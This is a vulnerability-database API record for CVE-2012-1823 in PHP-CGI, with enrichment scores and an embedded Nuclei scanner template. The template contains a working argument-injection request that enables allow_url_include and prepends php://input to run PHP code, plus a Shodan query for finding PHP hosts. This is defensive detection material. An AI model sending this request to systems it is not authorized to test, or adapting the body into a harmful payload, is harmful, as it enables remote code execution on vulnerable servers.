{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2012-1823/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2012-1823/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2012-1823/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2012-1823/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2012-1823/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2012-1823"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2012-1823"
    }
  },
  "enrichments": {
    "cisa-kev": {
      "kev": true
    },
    "epss": {
      "epss": 0.99998,
      "kev": true,
      "percentile": 0.9999
    },
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2012/CVE-2012-1823.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2012-1823\n\ninfo:\n  name: PHP CGI v5.3.12/5.4.2 Remote Code Execution\n  author: pikpikcu\n  severity: high\n  description: |\n    sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not properly handle query strings that lack an = (equals sign) character, which allows remote attackers to execute arbitrary code by placing command-line options in the query string, related to lack of skipping a certain php_getopt for the 'd' case.\n  impact: |\n    Remote code execution\n  remediation: |\n    Upgrade to a patched version of PHP or apply the necessary security patches.\n  reference:\n    - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823\n    - https://nvd.nist.gov/vuln/detail/CVE-2012-1823\n    - https://bugs.php.net/bug.php?id=61910\n    - http://www.php.net/ChangeLog-5.php#5.4.2\n    - http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c03360041\n  classification:\n    cvss-metrics: CVSS:2.0/AV:N/AC:L/Au:N/C:P/I:P/A:P\n    cvss-score: 7.5\n    cve-id: CVE-2012-1823\n    cwe-id: CWE-20\n    epss-score: 0.99998\n    epss-percentile: 0.9999\n    cpe: cpe:2.3:a:php:php:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: php\n    product: php\n    shodan-query: cpe:\"cpe:2.3:a:php:php\"\n  tags: cve,cve2012,kev,vulhub,rce,php,vkev,vuln\nvariables:\n  string: \"CVE-2012-1823\"\n\nhttp:\n  - raw:\n      - |\n        POST /index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dphp%3a//input HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/x-www-form-urlencoded\n\n        <?php echo md5(\"{{string}}\");?>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: body\n        words:\n          - '{{md5(string)}}'\n# digest: 4b0a00483046022100e636ad1ba74c4623a0499f359fc9378a610349e5aee47d00b3819e3889820bf0022100ad2ad6019d38d08d99c617ef1fe4b23d9bfa072c4cc9568863698f3092b004d5:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2012-1823"
}